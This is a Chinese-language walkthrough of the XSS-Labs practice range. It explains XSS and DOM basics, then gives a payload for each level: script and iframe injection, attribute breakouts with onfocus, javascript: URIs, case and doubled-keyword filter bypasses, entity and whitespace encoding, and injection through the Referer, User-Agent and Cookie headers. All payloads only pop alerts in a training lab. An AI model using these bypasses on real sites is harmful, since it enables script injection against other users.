XSS-Labs靶场通关
XSS简述
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种常见的 Web 安全漏洞。攻击者通过在网页中注入恶意的客户端脚本(如 JavaScript),当其他用户浏览该网页时,浏览器会执行这些恶意代码。这使得攻击者能够窃取敏感数据(如 Cookie、会话令牌)、劫持用户会话或冒充用户执行操作。
XSS 的常见类型
- 存储型(持久型):恶意脚本永久存储在目标服务器的数据库中(例如在评论区或个人资料中)。当用户查看相关页面时触发。
- 反射型(非持久型):恶意脚本包含在发送给用户的请求中(例如恶意链接或搜索参数),当用户点击或提交表单时,服务器将其反射执行。
- 基于 DOM 型:恶意代码并不依赖服务器,而是由于前端 JavaScript 代码在处理用户输入时存在安全缺陷,导致直接在浏览器中被执行
DOM简述
DOM (Document Object Model) 译为文档对象模型,是 HTML 和 XML 文档的编程接口。
HTML DOM 树形结构:

实例:
1 | <!DOCTYPE html> |
一些常用的 HTML DOM 方法:
- getElementById(id) - 获取带有指定 id 的节点(元素)
- appendChild(node) - 插入新的子节点(元素)
- removeChild(node) - 删除子节点(元素)
- getElementsByTagName() 返回带有指定标签名的所有元素。
一些常用的 HTML DOM 属性:
- innerHTML - 节点(元素)的文本值
- parentNode - 节点(元素)的父节点
- childNodes - 节点(元素)的子节点
- attributes - 节点(元素)的属性节点
1 | <!DOCTYPE html> |
运行结果:
1 | HTML 教程 |
DOM XSS实例:
1 | <div class="page-content"> |
触发xss:
1 | javascript:alert(1) |
反射型xss和DOM型xss区别

level1
查看源码,对alert函数进行了重新,当浏览器执行alert函数时,会跳转到第二关

控制台输入
1 | window.alert(111) |

成功跳转到第二关

😅kidding
参数name的值会插入到源码中

在name处尝试xss
1 | <script>alert(11)</script> |

插入的script标签被解析,成功触发xss
1 | </script> |
level2
查看源码:
1 | </script> |
输入框的内容会插入到源码中:
尝试:

输入的尖括号被实体化了
输入框是通过keyword这个参数传进去的,尝试闭合input标签:
1 | "><script>alert(111)</script> |

成功触发xss
level3
查看源码:

在搜索框尝试xss

两处的尖括号都被实体化了
使用事件性:
1 | ' onfocus=javascript:alert() ' |
``javascript:是浏览器支持的一种 URL 协议。当浏览器访问以javascript: 开头的 URL 时,不会发送网络请求,而是直接执行后面的 JavaScript 代码。

成功触发xss
level4
查看源码:

继续使用事件性:
1 | " onfocus=javascript:alert() " |
level5
尝试源码,继续使用事件性:
对on进行了过滤:


尝试scrip标签,inpu标签处没有进行实体化,但是script被过滤了
1 | "><script>alert(111)</script> |

尝试其他标签。使用iframe 标签,成功触发xss
1 | "><iframe src="javascript:alert('xss')"><iframe> |
或者href标签:
1 | "> <a href="javascript:alert(1)">click me</a> |

level6
过滤了src

href也过滤了:

使用大小写绕过:
1 | "><iframe sRC="javascript:alert('xss')"><iframe> |

level7
尝试:
1 | "><iframe sRC="javascript:alert('xss')"><iframe> |

过滤了script,src等,直接进行了清除
尝试双写:
1 | "><iframe ssrcrc="javascrscriptipt:alert('xss')"><iframe> |

成功触发
level8
有两处可以进行尝试xss

尝试:
1 | javascript:alert(1) |
对javascript,script进行了过滤
对引号进行了实体化

将javascirpt:alert(1)进行字符实体化,避开过滤
1 | javascript:alert(1) |

level9
一处可进行尝试:

但是进行了实体化

1 | " onfocus=javascript:alert() " |
源码:
1 | <?php |
后端对输入进行了判断,但是不严谨,只要输入字符中存在http://就可以。
1 | javascript:alert(1) |

对javascript进行了过滤
实体化字符:
1 | javascript:alert(1)//http:// |
//对http://进行注释
level10
查看源码存在3处可输入的地方,但只有2处可回显:

h2标签进行了实体化
input对<>进行了过滤,清除

1 | " onfocus=javascript:alert() " |

但是这个标签是隐蔽的,onfocus是当元素获得焦点时触发,即鼠标点击才会触发
将type改为text
1 | " type="text" onfocus=javascript:alert(111) " |

成功触发
level11
源码:

存在4个隐藏参数,进行测试:

只有两个参数会插入到html源码中
继续尝试
1 | ?keyword=<script>alert(11)</script>&t_sort=" onfocus=javascript:alert() " |

后端,对引号和标签都进行了实体化
多出来一个参数:t_ref,是通过referer这个http传送的。
使用burpsuite进行过抓包,修改Referer请求头:
1 | Referer: " type="text" onfocus=javascript:alert(111) " |

成功触发
level12

Useragent请求头会被加载到页面中,在此处尝试:
1 | User-Agent: " type="text" onfocus=javascript:alert(111) " |

点击输入框成功触发xss
level13

这关应该是cookie可以进行xss
1 | Cookie: user=" type="text" onfocus=javascript:alert(111) " |

level14
卧槽,这关刺激啊

emm,pass

level15

代码审计:
1 | <?php |

htmlspecialchars($str):会把双引号 "、单引号 '、大于号 >、小于号 < 全都转义成 HTML 实体(比如 < 变成 <)。
向scr进行传参,包含一个文件,文件内容可触发alert弹窗(本地测试)
1.html文件内容:
1 |
|
文件保存在靶场网站目录下
访问:
1 | ?src='1.html' |

成功触发xss
level16
1 | level16.php?keyword=<script>alert(11)</script> |

是空格的html实体化格式
1 | <?php |
后端将script,空格和斜杠都替换成了
使用其他标签,空格绕过:
| 字符 | URL 编码 | 说明 |
|---|---|---|
| Tab 键 | %09 |
水平制表符 |
| 换行符 | %0a |
Line Feed (LF) |
| 垂直 Tab | %0b |
Vertical Tab (极少被过滤) |
| 换页符 | %0c |
Form Feed (FF) |
| 回车符 | %0d |
Carriage Return (CR) |
1 | <img%0asrc=1%0aonerror=alert(1)> |
SVG,可缩放矢量图形(Scalable Vector Graphics),是一种用于描述二维图形的 XML 标记语言。

level17
1 | ?arg01=111111&arg02=111111 |

<embed> 元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。
<embed> 标签支持 HTML 的事件属性。
在参数arg02进行拼接:
1 | ?arg01=a&arg02=b onmousemove='alert(1)' |
成功触发xss

level18
与第17关通理
1 | ?arg01=a&arg02=b onmousemove='alert(1)' |
参考:
